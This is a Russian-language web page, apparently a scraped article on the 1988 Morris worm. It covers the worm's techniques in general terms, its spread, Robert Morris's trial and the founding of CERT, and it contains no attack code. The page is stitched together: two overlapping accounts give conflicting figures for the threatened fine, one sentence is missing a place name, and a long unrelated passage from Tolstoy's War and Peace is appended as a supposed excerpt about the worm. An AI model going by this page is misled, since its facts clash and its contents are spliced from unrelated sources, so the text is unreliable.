  • все текстовые строки были закодированы путем применения операции xor 81h.
Несмотря на «грандиозность» задумки, червь имел в себе некоторые ошибки, как проектирования, так и реализации. Именно неправильно реализованный алгоритм проверки, не является ли система уже зараженной, привел к массовому распространению червя в сети, вопреки задумке его автора. На практике, компьютеры заражались многократно, что, во-первых, приводило к быстрому исчерпанию ресурсов, во-вторых - способствовало лавинообразному распространению червя в сети. По некоторым оценкам червь Морриса инфицировал порядка 6200 компьютеров. Сам разработчик, осознав масштабы результатов своего поступка, добровольно сдался властям и обо всем рассказал. Слушанье по его делу закончилось 22 января 1990 года. Изначально Моррису грозило до пяти лет лишения свободы и штраф в размере 25 тысяч долларов. В действительности приговор был достаточно мягок, суд назначил 400 часов общественных работ, 10 тысяч долларов штрафа, испытательный срок в три года и оплату расходов, связанных с наблюдением за осужденным.
Инцидент с «червем Морриса» заставил специалистов в области IT серьезно задуматься о вопросах безопасности, в частности именно после этого для повышения безопасности системы стало внедряться использование пауз после неправильного ввода пароля и хранение паролей в /etc/shadow, куда они перенесены из доступного на чтение всем пользователям файла /etc/passwd. Но наиболее важным событием стало создание в ноябре 1988 года координационного центра CERT (CERT Coordination Center, CERT/CC), деятельность которого связана с решением проблем безопасности в Интернете. Первым появившимся в декабре 1988 года бюллетенем безопасности CERT стало сообщение об уязвимостях, использованных червем. Примечательно, что многие технические решения, используемые «червем Морриса», такие как использование перебора паролей, компиляция кода загрузчика на удаленной ЭВМ под управлением *NIX систем (Slapper), сканирование сети для выявления целей и т.д. применяются и в современных образцах вредоносного программного обеспечения.
Интересно, что в том же самом 1988 году известный программист Питер Нортон довольно резко высказался в печати против самого факта существования компьютерных вирусов, называя их «мифом» и сравнивая шум вокруг этой темы с «рассказами о крокодилах, живущих в канализации Нью-Йорка». Всего два года спустя после заявления Нортона, в 1990 году, вышла первая версия антивирусной программы Norton AntiVirus.
И напоследок - в 1988 году, будучи под впечатлением от атаки червя Морриса, американская Ассоциация компьютерного оборудования объявила 30 ноября международным Днем защиты информации (Computer Security Day), который отмечается и по сей день.

Написан аспирантом Корнеллского университета Робертом Таппаном Моррисом , и запущен 2 ноября 1988 года в .

Это был первый вирус, получивший значительное внимание в средствах массовой информации. Он также привёл к первой судимости в США по Computer Fraud and Abuse Act 1986 года.

История появления

Сам Моррис хорошо законспирировал код программы, и вряд ли кто мог доказать его причастность. Однако его отец, компьютерный эксперт Агентства национальной безопасности , посчитал, что сыну лучше во всём сознаться.

На суде Роберту Моррису грозило до пяти лет лишения свободы и штраф в размере 250 тысяч долларов, однако, принимая во внимание смягчающие обстоятельства, суд приговорил его к трём годам условно, 10 тысячам долларов штрафа и 400 часам общественных работ.

Эпидемия показала, как опасно безоговорочно доверять компьютерным сетям. Впоследствии были выработаны новые ужесточённые нормы компьютерной безопасности, касающиеся безопасности кода программ, администрирования сетевых узлов и выбора защищённых паролей.

Напишите отзыв о статье "Червь Морриса"

Ссылки

Отрывок, характеризующий Червь Морриса

– Отчего вы уезжаете? Отчего вы расстроены? Отчего?.. – спросила Пьера Наташа, вызывающе глядя ему в глаза.
«Оттого, что я тебя люблю! – хотел он сказать, но он не сказал этого, до слез покраснел и опустил глаза.
– Оттого, что мне лучше реже бывать у вас… Оттого… нет, просто у меня дела.
– Отчего? нет, скажите, – решительно начала было Наташа и вдруг замолчала. Они оба испуганно и смущенно смотрели друг на друга. Он попытался усмехнуться, но не мог: улыбка его выразила страдание, и он молча поцеловал ее руку и вышел.
Пьер решил сам с собою не бывать больше у Ростовых.

Петя, после полученного им решительного отказа, ушел в свою комнату и там, запершись от всех, горько плакал. Все сделали, как будто ничего не заметили, когда он к чаю пришел молчаливый и мрачный, с заплаканными глазами.
На другой день приехал государь. Несколько человек дворовых Ростовых отпросились пойти поглядеть царя. В это утро Петя долго одевался, причесывался и устроивал воротнички так, как у больших. Он хмурился перед зеркалом, делал жесты, пожимал плечами и, наконец, никому не сказавши, надел фуражку и вышел из дома с заднего крыльца, стараясь не быть замеченным. Петя решился идти прямо к тому месту, где был государь, и прямо объяснить какому нибудь камергеру (Пете казалось, что государя всегда окружают камергеры), что он, граф Ростов, несмотря на свою молодость, желает служить отечеству, что молодость не может быть препятствием для преданности и что он готов… Петя, в то время как он собирался, приготовил много прекрасных слов, которые он скажет камергеру.
Петя рассчитывал на успех своего представления государю именно потому, что он ребенок (Петя думал даже, как все удивятся его молодости), а вместе с тем в устройстве своих воротничков, в прическе и в степенной медлительной походке он хотел представить из себя старого человека. Но чем дальше он шел, чем больше он развлекался все прибывающим и прибывающим у Кремля народом, тем больше он забывал соблюдение степенности и медлительности, свойственных взрослым людям. Подходя к Кремлю, он уже стал заботиться о том, чтобы его не затолкали, и решительно, с угрожающим видом выставил по бокам локти. Но в Троицких воротах, несмотря на всю его решительность, люди, которые, вероятно, не знали, с какой патриотической целью он шел в Кремль, так прижали его к стене, что он должен был покориться и остановиться, пока в ворота с гудящим под сводами звуком проезжали экипажи. Около Пети стояла баба с лакеем, два купца и отставной солдат. Постояв несколько времени в воротах, Петя, не дождавшись того, чтобы все экипажи проехали, прежде других хотел тронуться дальше и начал решительно работать локтями; но баба, стоявшая против него, на которую он первую направил свои локти, сердито крикнула на него:
– Что, барчук, толкаешься, видишь – все стоят. Что ж лезть то!
– Так и все полезут, – сказал лакей и, тоже начав работать локтями, затискал Петю в вонючий угол ворот.
Петя отер руками пот, покрывавший его лицо, и поправил размочившиеся от пота воротнички, которые он так хорошо, как у больших, устроил дома.
Петя чувствовал, что он имеет непрезентабельный вид, и боялся, что ежели таким он представится камергерам, то его не допустят до государя. Но оправиться и перейти в другое место не было никакой возможности от тесноты. Один из проезжавших генералов был знакомый Ростовых. Петя хотел просить его помощи, но счел, что это было бы противно мужеству. Когда все экипажи проехали, толпа хлынула и вынесла и Петю на площадь, которая была вся занята народом. Не только по площади, но на откосах, на крышах, везде был народ. Только что Петя очутился на площади, он явственно услыхал наполнявшие весь Кремль звуки колоколов и радостного народного говора.
Одно время на площади было просторнее, но вдруг все головы открылись, все бросилось еще куда то вперед. Петю сдавили так, что он не мог дышать, и все закричало: «Ура! урра! ура!Петя поднимался на цыпочки, толкался, щипался, но ничего не мог видеть, кроме народа вокруг себя.
На всех лицах было одно общее выражение умиления и восторга. Одна купчиха, стоявшая подле Пети, рыдала, и слезы текли у нее из глаз.
– Отец, ангел, батюшка! – приговаривала она, отирая пальцем слезы.